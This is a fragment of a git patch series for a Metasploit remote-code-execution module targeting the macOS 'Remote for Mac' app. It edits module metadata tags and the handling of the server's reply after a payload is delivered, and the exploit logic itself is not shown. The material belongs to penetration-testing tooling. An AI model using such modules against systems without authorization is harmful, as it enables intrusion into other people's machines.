@@ -32,9 +32,9 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true }, 'Notes' => { - 'Stability' => ['CRASH_SAFE'], - 'Reliability' => ['REPEATABLE_SESSION'], - 'SideEffects' => ['ARTIFACTS_ON_DISK'] + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] } ) ) From 6105b99465722c8f16c13c20d3910dbb35d24f0f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 8 Jun 2025 15:36:37 +0200 Subject: [PATCH 13/13] Fixed response parsing --- modules/exploits/osx/http/remote_for_mac_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 0fc83e2915..ec9f9ebef5 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -96,11 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote } ) + print_status('Payload sent') if res&.code == 200 print_good('Payload delivered successfully. Awaiting session...') - else - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{res&.code || 'no response' - }") + res_json = res.get_json_document + print_status("Received response: #{res_json['result']}") end end end